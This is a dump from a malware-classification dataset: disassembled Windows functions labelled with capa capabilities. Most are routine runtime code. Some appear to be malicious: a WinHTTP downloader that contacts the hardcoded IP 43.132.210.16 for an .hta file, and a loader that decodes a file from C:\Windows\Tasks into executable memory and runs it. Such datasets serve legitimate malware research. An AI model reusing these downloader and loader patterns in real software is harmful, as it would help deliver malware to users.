joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180014320
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180014350
xor eax, eax
jmp 0x180014413
mov rbp, rbx
cmp word [rax], si
je 0x180014375
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18001435c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180014358
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180014240
movsxd r14, eax
test eax, eax
jne 0x1800143b3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180014349
mov rcx, r14
call fcn.1800127dc
mov rdi, rax
test rax, rax
jne 0x1800143cc
xor ecx, ecx
call fcn.1800126f4
jmp 0x1800143a8
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180014240
test eax, eax
jne 0x1800143fd
mov rcx, rdi
call fcn.1800126f4
jmp 0x180014407
xor ecx, ecx
call fcn.1800126f4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1800195b0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800195d8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1800195d8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14005a7e0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14005a7ed
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14005a7fd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14005a7e5
lea eax, [rcx + 1]
jmp 0x14005a80b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14005a81e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14005a804
sub eax, 3
jb 0x14005a83e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14005a88d
sar eax, 1
movsxd rbp, eax
jb 0x14005a874
jmp 0x14005a84c
add ebx, ebx
jne 0x14005a84a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14005a874
inc ecx
add ebx, ebx
jne 0x14005a85a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14005a874
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14005a86d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14005a85c
add ecx, 2
jmp 0x14005a879
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14005a7a2
jmp 0x14005a7ed
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x5800
mov dl, 7
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14005a8d9
cmp rsi, rcx
jae 0x14005a8e1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14005a8c0
cmp al, 0x8f
ja 0x14005a8c0
cmp byte [rsi - 2], 0xf
je 0x14005a8c6
sub al, 0xe8
cmp al, 1
ja 0x14005a8aa
cmp rsi, rcx
jae 0x14005a8e1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14005a8b0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14005a8e1
lodsb al, byte [rsi]
jmp 0x14005a8c0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x58000]
mov eax, dword [rdi]
or eax, eax
je 0x14005a93e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xa28b4]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14005a8ee
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14005a938
mov qword [rbx], rax
add rbx, 8
jmp 0x14005a90e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14005a978
cmp al, 0xef
ja 0x14005a96a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14005a94a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14005a959
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x20f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14005a9cc
sub rsp, 0xffffffffffffff80
jmp 0x1400017c4
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00404440]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x00404450]
mov dword [rax], 1
mov rax, qword [0x00404460]
mov dword [rax], 1
mov rax, qword [0x004043e0]
cmp word [rax], 0x5a4d
jne 0x40105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x00404430]
mov dword [0x00407020], ecx
mov eax, dword [rax]
test eax, eax
je 0x4010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00404500]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x004044e0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00404370]
cmp dword [rax], 1
je 0x4010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401110
cmp dx, 0x20b
jne 0x40105a
cmp dword [rax + 0x84], 0xe
jbe 0x40105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x40105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x40105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x40105a

Function at 0x401860
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x4018d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x004070b4]
test esi, esi
mov rbx, rcx
jle 0x401a00
mov rax, qword [0x004070b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x40191b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x4019a5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x401900
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x401a22
mov rax, qword [0x004070b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x004070b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401a07
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40199e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x4019b0
add dword [0x004070b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x004070b8]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40199e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x401928
mov rax, qword [0x004070b8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x401fc0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x00407120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00407100]
test rbx, rbx
je 0x40201c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x402013
test eax, eax
jne 0x402013
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x401ff8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402230
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x402248
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x402250
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x402260
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x4022ad
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x4022a4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x4022af
add rax, 0x28
cmp rax, r9
jne 0x402290
xor eax, eax
ret

Function at 0x4022b0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x402340
mov rdx, qword [0x004043e0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x40232e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x40232e
cmp word [rax + 0x18], 0x20b
jne 0x40232e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x402340
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x402319
add rbx, 0x28
cmp rbx, rdi
je 0x402340
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x402310
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x402350
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x004043e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x402370
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x402378
ret
cmp word [r8 + 0x18], 0x20b
jne 0x402370
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x4023cd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4023c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402370
add rax, 0x28
cmp rax, r9
jne 0x4023b0
xor eax, eax
ret

Function at 0x4023d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x004043e0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x4023ef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4023f8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x4023ef
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x402410
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x004043e0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x402430
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x402438
ret
cmp word [rdx + 0x18], 0x20b
jne 0x402430
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x402480
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x402477
test rcx, rcx
je 0x402430
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x402468
xor eax, eax
ret

Function at 0x402490
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x004043e0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x4024af
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x4024b8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x4024d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x004043e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x4024f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x4024f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x4024f0
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x4024f0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x402544
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x402550
add rdx, 0x28
cmp rdx, r9
jne 0x402530
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x402560
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x004043e0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x402582
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x402590
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x402582
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x402582
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x402582
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x4025e5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x4025f8
add rdx, 0x28
cmp r10, rdx
jne 0x4025d0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x402607
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x402617
mov edx, dword [rax + 0xc]
test edx, edx
je 0x4025ee
test ecx, ecx
jg 0x402600
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001000
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbx
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r14, qword [rsp + 0xa0]
xor r12d, r12d
xor r9d, r9d
mov dword [rsp + 0x40], r12d
xor r8d, r8d
mov dword [rsp + 0x44], r12d
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
mov ebx, r12d
mov edi, r12d
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r15, rax
test rax, rax
je 0x1400011ff
mov r8d, 0x1f9a
mov qword [rsp + 0x80], rbp
xor r9d, r9d
lea rdx, str.43.132.210.16
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rbp, rax
test rax, rax
je 0x1400011c0
mov dword [rsp + 0x30], 0x100
lea r8, str._api_stats.hta
mov qword [rsp + 0x28], r12
lea rdx, [0x1400032c0]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov qword [rsp + 0x88], rsi
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rsi, rax
test rax, rax
je 0x1400011af
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], r12d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r12d
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1400011a6
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1400011a6
test r14, r14
je 0x1400011a6
mov qword [rsp + 0x90], r13
lea r13, [r12 - 1]
nop word [rax + rax]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], r12d
mov rcx, rsi
mov dword [rsp + 0x44], r12d
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x14000119b
test rdi, rdi
jne 0x140001154
mov ecx, dword [rsp + 0x40]
add ecx, 1
cmovb rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
jmp 0x14000116a
mov edx, dword [rsp + 0x40]
mov rcx, rdi
add edx, ebx
add edx, 1
cmovb rdx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
je 0x14000119b
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
mov edx, ebx
mov rcx, rsi
add rdx, rax
mov rdi, rax
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x14000119b
add ebx, dword [rsp + 0x44]
cmp dword [rsp + 0x40], r12d
ja 0x140001120
jmp 0x14000119e
mov ebx, r12d
mov r13, qword [rsp + 0x90]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rsi, qword [rsp + 0x88]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rbp, qword [rsp + 0x80]
test ebx, ebx
jne 0x1400011ff
test rdi, rdi
je 0x1400011ff
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400013a0
add rsp, 0x50
pop r15
pop r14
pop r12
pop rdi
pop rbx
ret
test r14, r14
je 0x1400011e3
mov eax, ebx
test rdi, rdi
je 0x1400011e5
mov qword [r14], rdi
jmp 0x1400011e5
Function at 0x14001120d
Capabilities:
Terminate process

Disassembly:
jmp 0x140016140
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011299
Capabilities:
Parse pe header

Disassembly:
jmp 0x140017490
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400174b0
xor al, al
jmp 0x140017531
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400174c3
xor al, al
jmp 0x140017531
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400174ed
xor al, al
jmp 0x140017531
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140017501
xor al, al
jmp 0x140017531
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140017513
xor al, al
jmp 0x140017531
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001752f
xor al, al
jmp 0x140017531
mov al, 1
add rsp, 0x38
ret
Function at 0x1400125e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov byte [rsp + 8], cl
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1400260d4]
call fcn.1400113b1
mov byte [rbp + 4], 0
jmp 0x140012617
movzx eax, byte [rbp + 4]
inc al
mov byte [rbp + 4], al
movzx eax, byte [rbp + 4]
cmp eax, 4
jge 0x14001269c
mov byte [rbp + 0x24], 0
jmp 0x14001262f
movzx eax, byte [rbp + 0x24]
inc al
mov byte [rbp + 0x24], al
movzx eax, byte [rbp + 0x24]
cmp eax, 4
jge 0x140012697
movzx eax, byte [rbp + 4]
mov rcx, qword [rbp + 0x128]
lea rax, [rcx + rax*4]
movzx ecx, byte [rbp + 0x24]
movzx edx, byte [rbp + 0x120]
shl edx, 2
movzx r8d, byte [rbp + 4]
shl r8d, 2
lea edx, [r8 + rdx*4]
movzx r8d, byte [rbp + 0x24]
add edx, r8d
movsxd rdx, edx
mov r8, qword [rbp + 0x130]
movzx edx, byte [r8 + rdx]
movzx eax, byte [rax + rcx]
xor eax, edx
movzx ecx, byte [rbp + 0x24]
movzx edx, byte [rbp + 4]
mov r8, qword [rbp + 0x128]
lea rdx, [r8 + rdx*4]
mov byte [rdx + rcx], al
jmp 0x140012626
jmp 0x14001260e
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140013d30
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1400260d4]
call fcn.1400113b1
mov byte [rbp + 4], 0
jmp 0x140013d5e
movzx eax, byte [rbp + 4]
inc al
mov byte [rbp + 4], al
movzx eax, byte [rbp + 4]
cmp eax, 4
jge 0x140013dbd
mov byte [rbp + 0x24], 0
jmp 0x140013d76
movzx eax, byte [rbp + 0x24]
inc al
mov byte [rbp + 0x24], al
movzx eax, byte [rbp + 0x24]
cmp eax, 4
jge 0x140013dbb
movzx eax, byte [rbp + 0x24]
mov rcx, qword [rbp + 0x120]
lea rax, [rcx + rax*4]
movzx ecx, byte [rbp + 4]
movzx eax, byte [rax + rcx]
lea rcx, [0x14001df90]
movzx edx, byte [rbp + 0x24]
mov r8, qword [rbp + 0x120]
lea rdx, [r8 + rdx*4]
movzx r8d, byte [rbp + 4]
movzx eax, byte [rcx + rax]
mov byte [rdx + r8], al
jmp 0x140013d6d
jmp 0x140013d55
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x3978a13f9
Capabilities:
Read file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0x90]
call fcn.3978a236c
xor eax, 1
test al, al
jne 0x3978a15fb
lea rax, str.C:WindowsTasksgo_oggerjcsudd5238.tmp
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
lea rdx, [0x397958029]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x3978a144d
mov eax, 1
jmp 0x3978a15fd
mov rax, qword [rbp - 0x10]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.msvcrt.dll_ftell
cdqe
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.msvcrt.dll_fclose
lea rax, str.NtAllocateVirtualMemory
mov rcx, rax
call fcn.3978a1f75
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x3978a14a6
mov eax, 0xfffffffe
jmp 0x3978a15fd
mov dword [rbp - 0x1c], 0
mov qword [rbp - 0x48], 0
mov rbx, qword [rbp - 0x18]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp - 0x40]
lea rax, [rbp - 0x48]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
mov r9, rdx
mov r8d, 0
mov rdx, rax
call rbx
mov dword [rbp - 0x1c], eax
mov rax, qword [rbp - 8]
lea rdx, [0x397958029]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x40]
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x28], rax
mov rdx, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x28]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_fread
mov dword [rbp - 0x2c], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.msvcrt.dll_fclose
movabs rax, 0x636573696f6863
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x40]
mov ebx, eax
lea rax, [rbp - 0x50]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov ecx, eax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp - 0x28]
mov r9d, ebx
mov r8d, ecx
mov rcx, rax
call fcn.3978a1370
mov ecx, 0xfffffff6
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
call rax
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x54], 0
lea rdx, [rbp - 0x54]
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleMode]
call rax
mov eax, dword [rbp - 0x54]
and eax, 0xfffffffb
mov edx, eax
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleMode]
call rax
mov rcx, qword [rbp - 0x40]
mov rdx, qword [0x397984020]
mov rax, qword [rbp - 0x48]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [0x397984020]
mov rcx, rax
call sub.msvcrt.dll_free
call fcn.3978a23eb
